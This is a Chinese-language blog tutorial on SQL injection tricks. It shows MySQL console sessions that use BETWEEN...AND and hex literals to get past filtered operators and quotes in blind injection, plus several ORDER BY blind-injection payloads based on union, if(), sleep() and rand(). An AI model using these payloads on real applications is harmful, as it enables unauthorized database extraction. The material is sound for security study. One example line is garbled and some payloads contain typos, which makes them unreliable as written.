SQL注入的2个小Trick及示例总结
前言
最近发现了两个关于sql注入的小trick,分享一下.下面话不多说了，来一起看看详细的介绍吧
between and 操作符代替比较符
操作符 BETWEEN … AND 会选取介于两个值之间的数据范围。这些值可以是数值、文本或者日期。
between and有数据比较功能
exp1 between min and max
如果exp1的结果处于min和max之间,`between and`就返回`1`,反之返回`0`.
示例
mysql> select * from user; +----+----------+----------------------------------+-------------------+ | id | username | password | email | +----+----------+----------------------------------+-------------------+ | 1 | a | 0cc175b9c0f1b6a831c399e269772661 | [email protected] | | 2 | aa | 4124bc0a9335c27f086f24ba207a4912 | [email protected] | | 3 | admin | 26fff50e6f9c6ca38e181c65c1531eca | [email protected] | | 4 | add | 0cc175b9c0f1b6a831c399e269772661 | [email protected] | +----+----------+----------------------------------+-------------------+ mysql> select * from user where id between 1 and 2; +----+----------+----------------------------------+-------------------+ | id | username | password | email | +----+----------+----------------------------------+-------------------+ | 1 | a | 0cc175b9c0f1b6a831c399e269772661 | [email protected] | | 2 | aa | 4124bc0a9335c27f086f24ba207a4912 | [email protected] | +----+----------+----------------------------------+-------------------+
大多数数据库都支持between and操作,但是对于边界的处理有所不同,在mysql中,between and 是包含边界的,在数学中也就是[min,max]
在盲注中应用
between and可以用来在过滤了=,like, regexp,>,<的情况下使用.
mysql> select database(); +------------+ | database() | +------------+ | test | +------------+ 1 row in set (0.00 sec)
1. 配合截取函数使用
mysql> select mid(database(),1,1) between 'a' and 'a' ; +-----------------------------------------+ | mid(database(),1,1) between 'a' and 'a' | +-----------------------------------------+ | 0 | +-----------------------------------------+ 1 row in set (0.00 sec) mysql> select mid(database(),1,1) between 't' and 't' ; +-----------------------------------------+ | mid(database(),1,1) between 't' and 't' | +-----------------------------------------+ | 1 | +-----------------------------------------+ 1 row in set (0.00 sec)
2. 截取函数被过滤
表达式
select exp between min and max
在截取字符函数被过滤的时候,设置min和 max的方式有所改变.
测试1
mysql> select 'b' between 'a' and 'c'; +-------------------------+ | 'b' between 'a' and 'c' | +-------------------------+ | 1 | +-------------------------+ 1 row in set (0.00 sec) mysql> select 'b' between 'a' and 'b'; +-------------------------+ | 'b' between 'a' and 'b' | +-------------------------+ | 1 | +-------------------------+ 1 row in set (0.00 sec) mysql> select 'b' between 'b' and 'c'; +-------------------------+ | 'b' between 'b' and 'c' | +-------------------------+ | 1 | +-------------------------+ 1 row in set (0.00 sec)
测试2
mysql> select 'bcd' between 'a' and 'c'; +---------------------------+ | 'bcd' between 'a' and 'c' | +---------------------------+ | 1 | +---------------------------+ 1 row in set (0.00 sec) mysql> select 'bcd' between 'a' and 'b'; +---------------------------+ | 'bcd' between 'a' and 'b' | +---------------------------+ | 0 | +---------------------------+ 1 row in set (0.00 sec) mysql> select 'bcd' between 'b' and 'c'; +---------------------------+ | 'bcd' between 'b' and 'c' | +---------------------------+ | 1 | +---------------------------+ 1 row in set (0.00 sec)
由测试可知,当exp为单个字符时三种区间返回值都是1,但是当exp为字符串时,当区间为a-b时,返回值为0.区间为a-c或者b-c时,返回值为1.
也就是在进行字符串比较时,只会包含一边的值,也就是[b,c).
所以在实际利用时,就要注意区间的范围.
实际测试
mysql> select database() between 'a' and 'z'; +--------------------------------+ | database() between 'a' and 'z' | +--------------------------------+ | 1 | +--------------------------------+ 1 row in set (0.05 sec) ... mysql> select database() between 't' and 'z'; +--------------------------------+ | database() between 't' and 'z' | +--------------------------------+ | 1 | +--------------------------------+ 1 row in set (0.00 sec) mysql> select database() between 'u' and 'z'; +--------------------------------+ | database() between 'u' and 'z' | +--------------------------------+ | 0 | +--------------------------------+ 1 row in set (0.00 sec)
由结果可知,第一个字符为t
第二个字符
mysql> select database() between 'tatest +----------------------------------+test | database() between 'ta' and 'tz' |test +----------------------------------+ | 1 | +----------------------------------+ 1 row in set (0.00 sec) mysql> select database() between 'te' and 'tz'; +----------------------------------+ | database() between 'te' and 'tz' | +----------------------------------+ | 1 | +----------------------------------+ 1 row in set (0.00 sec) mysql> select database() between 'tf' and 'tz'; +----------------------------------+ | database() between 'tf' and 'tz' | +----------------------------------+ | 0 | +----------------------------------+ 1 row in set (0.00 sec)
剩下的以此类推.最终为test.
3. 单引号被过滤
between and还支持16进制,所以可以用16进制,来绕过单引号的过滤.
测试
mysql> select database() between 0x61 and 0x7a; //select database() between 'a' and 'z'; +----------------------------------+ | database() between 0x61 and 0x7a | +----------------------------------+ | 1 | +----------------------------------+ 1 row in set (0.00 sec) mysql> select database() between 0x74 and 0x7a; //select database() between 't' and 'z'; +----------------------------------+ | database() between 0x74 and 0x7a | +----------------------------------+ | 1 | +----------------------------------+ 1 row in set (0.00 sec) mysql> select database() between 0x75 and 0x7a; //select database() between 'u' and 'z'; +----------------------------------+ | database() between 0x75 and 0x7a | +----------------------------------+ | 0 | +----------------------------------+ 1 row in set (0.00 sec)
了解order by
order by是mysql中对查询数据进行排序的方法，
使用示例
select * from 表名 order by 列名(或者数字) asc；升序(默认升序) select * from 表名 order by 列名(或者数字) desc；降序
这里的重点在于order by后既可以填列名或者是一个数字。举个例子：
id是user表的第一列的列名，那么如果想根据id来排序，有两种写法:
select * from user order by id; selecr * from user order by 1;
order by盲注
结合union来盲注
这个是在安恒杯月赛上看到的。
后台关键代码
$sql = 'select * from admin where username='".$username."'';
$result = mysql_query($sql);
$row = mysql_fetch_array($result);
if(isset($row)&&row['username']!="admin"){
$hit="username error!";
}else{
if ($row['password'] === $password){
$hit="";
}else{
$hit="password error!";
}
}
payload
username=admin' union 1,2,'字符串' order by 3
sql语句就变为
select * from admin where username='admin' or 1 union select 1,2,binary '字符串' order by 3;
这里就会对第三列进行比较，即将字符串和密码进行比较。然后就可以根据页面返回的不同情况进行盲注。
注意的是最好加上binary，因为order by比较的时候不区分大小写。
基于if()盲注
需要知道列名
order by的列不同，返回的页面当然也是不同的，所以就可以根据排序的列不同来盲注。
示例：
order by if(1=1,id,username);
这里如果使用数字代替列名是不行的，因为if语句返回的是字符类型，不是整型。
不需要知道列名
payload
order by if(表达式,1,(select id from information_schema.tables))
如果表达式为false时，sql语句会报ERROR 1242 (21000): Subquery returns more than 1 row的错误，导致查询内容为空，如果表达式为true是，则会返回正常的页面。
基于时间的盲注
payload
order by if(1=1,1,sleep(1))
测试结果
select * from ha order by if(1=1,1,sleep(1)); #正常时间
select * from ha order by if(1=2,1,sleep(1)); #有延迟
测试的时候发现延迟的时间并不是sleep(1)中的1秒，而是大于1秒。
最后发现延迟的时间和所查询的数据的条数是成倍数关系的。
计算公式：
延迟时间=sleep(1)的秒数*所查询数据条数
我所测试的ha表中有五条数据，所以延迟了5秒。如果查询的数据很多时，延迟的时间就会很长了。
在写脚本时，可以添加timeout这一参数来避免延迟时间过长这一情况。
基于rang()的盲注
原理不赘述了，直接看测试结果
mysql> select * from ha order by rand(true); +----+------+ | id | name | +----+------+ | 9 | NULL | | 6 | NULL | | 5 | NULL | | 1 | dss | | 0 | dasd | +----+------+ mysql> select * from ha order by rand(false); +----+------+ | id | name | +----+------+ | 1 | dss | | 6 | NULL | | 0 | dasd | | 5 | NULL | | 9 | NULL | +----+------+
可以看到当rang()为true和false时，排序结果是不同的，所以就可以使用rang()函数进行盲注了。
例
order by rand(ascii(mid((select database()),1,1))>96)
后记
order by注入在crf里其实出现挺多了,一直没有总结过.这次比较全的整理了一下(自认为比较全.XD),就和between and一起发出来了.欢迎师傅交流学习.
